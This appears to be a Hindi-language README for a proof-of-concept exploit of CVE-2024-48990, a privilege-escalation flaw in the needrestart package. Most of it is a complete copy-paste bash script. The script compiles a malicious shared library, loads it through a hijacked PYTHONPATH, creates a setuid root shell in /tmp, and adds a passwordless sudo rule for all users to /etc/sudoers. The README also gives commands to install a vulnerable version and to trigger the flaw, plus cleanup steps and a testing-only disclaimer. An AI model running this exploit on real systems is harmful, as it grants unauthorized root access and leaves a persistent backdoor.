
उपयोग मामलों के लिए POC का परीक्षण
इस रिपॉजिटरी में एक प्रूफ ऑफ कॉन्सेप्ट (PoC) है जो needrestart प्रोग्राम में एक भेद्यता को प्रदर्शित करता है, जो Python के पाथ को सही ढंग से सेट करने में विफल रहता है, जिससे संभावित विशेषाधिकार वृद्धि हो सकती है। यह PoC इस दोष का फायदा उठाकर बढ़े हुए विशेषाधिकार प्राप्त करने के संभावित मार्ग को उजागर करता है।
CVE-2024-48990 भेद्यता needrestart पैकेज के भीतर है। विशेष रूप से, यह Python के पाथ को ठीक से सेट नहीं करता है, जिसका उपयोग कुछ क्रियाओं द्वारा ट्रिगर होने पर विशेषाधिकार बढ़ाने के लिए किया जा सकता है।
यह PoC एक ऐसे परिदृश्य का अनुकरण करता है जहाँ Python के माध्यम से एक दुर्भावनापूर्ण साझा लाइब्रेरी लोड की जाती है ताकि सिस्टम सेटिंग्स में हेरफेर किया जा सके और बढ़े हुए विशेषाधिकार प्राप्त किए जा सकें। इसे केवल परीक्षण उद्देश्यों के लिए एक नियंत्रित, सुरक्षित वातावरण में उपयोग करें।
यह जाँचने के लिए कि क्या आप भेद्य हैं, यह चलाएँ:
needrestart --version | grep -q "3.7" && echo "Definitely vulnerable" || echo "Version is potentially not vulnerable, this simply checks for 3.7"
यदि आप परीक्षण के लिए एक भेद्य संस्करण चाहते हैं, तो बस यह चलाएँ:
sudo apt install needrestart=3.7-3
भेद्यता को ट्रिगर करने के लिए, जब आपके पास लिसनर स्क्रिप्ट चल रही हो, तो निम्नलिखित निष्पादित करें:
sudo apt remove ntp; sudo apt install ntp
यह कमांड एक पैकेज (इस मामले में ntp) स्थापित करता है जो needrestart के साथ समस्या को ट्रिगर करता है, हालाँकि आदर्श रूप से आप सिस्टम पर किसी अन्य उपयोगकर्ता के अपडेट ट्रिगर करने या sudo apt update जैसी needrestart को ट्रिगर करने वाली चीज़ का इंतज़ार करेंगे।
PoC सेट करने और भेद्यता को ट्रिगर करने के लिए निम्न स्क्रिप्ट चलाएँ। आप इसे सीधे पूरी स्क्रिप्ट के रूप में अपने टर्मिनल में कॉपी-पेस्ट कर सकते हैं और प्रतीक्षा कर सकते हैं, या ऊपर दिखाए गए अनुसार ntp के साथ इसे मैन्युअल रूप से ट्रिगर कर सकते हैं। यह सभी उपयोगकर्ताओं के लिए sudo पाथ में बाइनरी भी जोड़ता है, प्रदर्शन के लिए - वास्तव में आप केवल अपने उपयोगकर्ता के लिए sudo के सभी पाथ जोड़ सकते हैं, लेकिन मैं दोनों दिखाना चाहता था:
#!/bin/bash
set -e
cd /tmp
mkdir -p malicious/importlib
# Create and compile the malicious library
cat << 'EOF' > /tmp/malicious/lib.c
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>
static void a() __attribute__((constructor));
void a() {
if(geteuid() == 0) { // Only execute if we're running with root privileges
setuid(0);
setgid(0);
const char *shell = "cp /bin/sh /tmp/poc; "
"chmod u+s /tmp/poc; "
"grep -qxF 'ALL ALL=NOPASSWD: /tmp/poc' /etc/sudoers || "
"echo 'ALL ALL=NOPASSWD: /tmp/poc' | tee -a /etc/sudoers > /dev/null &";
system(shell);
}
}
EOF
gcc -shared -fPIC -o "/tmp/malicious/importlib/__init__.so" /tmp/malicious/lib.c
# Minimal Python script to trigger import
cat << 'EOF' > /tmp/malicious/e.py
import time
while True:
try:
import importlib
except:
pass
if __import__("os").path.exists("/tmp/poc"):
print("Got shell!, delete traces in /tmp/poc, /tmp/malicious")
__import__("os").system("sudo /tmp/poc -p")
break
time.sleep(1)
EOF
cd /tmp/malicious; clear;echo -e "\n\nWaiting for norestart execution...\nEnsure you remove yourself from sudoers on the poc file after\nsudo sed -i '/ALL ALL=NOPASSWD: \/tmp\/poc/d' /etc/sudoers\nAs well as remove excess files created:\nrm -rf malicious/ poc"; PYTHONPATH="$PWD" python3 e.py 2>/dev/null
यदि आप परीक्षण फ़ाइलों को साफ करना चाहते हैं और अपने आप को sudoers से हटाना चाहते हैं, तो आप एक उन्नत प्रॉम्प्ट से निम्नलिखित चला सकते हैं:
sudo sed -i '/ALL ALL=NOPASSWD: \/tmp\/poc/d' /etc/sudoers
rm -rf malicious/ poc; ls
needrestart पैकेज स्थापित (या ट्रिगर करने के लिए हटाकर पुनः स्थापित)यह PoC केवल परीक्षण उद्देश्यों के लिए है और इसे प्रोडक्शन वातावरण में उपयोग नहीं किया जाना चाहिए। अनधिकृत वातावरण में इस भेद्यता का शोषण करना अवैध हो सकता है। कोई भी सुरक्षा परीक्षण करने से पहले हमेशा स्पष्ट अनुमति प्राप्त करें।
शुभ परीक्षण! 🧪🚀